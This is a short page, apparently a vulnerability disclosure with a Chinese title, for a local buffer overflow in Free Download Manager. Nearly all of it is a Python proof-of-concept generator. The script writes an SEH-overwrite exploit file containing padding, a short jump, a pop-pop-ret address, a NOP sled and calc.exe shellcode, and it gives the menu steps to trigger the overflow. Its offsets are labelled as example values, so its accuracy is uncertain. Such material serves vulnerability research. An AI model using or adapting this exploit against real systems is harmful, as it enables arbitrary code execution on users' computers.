CVE-2018-25304 Free Download Manager本地缓冲区溢出漏洞

import sys # PoC Generator for CVE-2018-25304 # Vulnerability: Buffer Overflow in URL Import functionality # Trigger: Importing a crafted file containing a malicious Location header # Offsets and addresses (Example values, require debugging for exact targets) offset = 1000 # nSEH: Short jump to skip the SEH handler address and land on shellcode nseh = b"\xeb\x06\x90\x90" # SEH: Address of a pop pop ret instruction (universal or module specific) seh = b"\xaf\x11\x50\x62" # Example Shellcode (e.g., calc.exe) shellcode = b"\x31\xc9\x51\x68\x63\x61\x6c\x63\x54\xb8\xc7\x93\xc2\x77\xff\xd0" # Construct the payload buffer = b"A" * offset buffer += nseh buffer += seh buffer += b"\x90" * 32 # NOP sled buffer += shellcode # Generate the malicious file format expected by FDM # The overflow occurs when parsing the Location header header = b"[InternetShortcut]\r\nURL=http://example.com\r\n" filename = "exploit_fdm.txt" with open(filename, "wb") as f: # Inject payload into the Location field f.write(header + b"Location=" + buffer) print(f"[+] Malicious file '{filename}' generated successfully.") print(f"[+] Import this file via File > Import > Import lists of downloads to trigger.")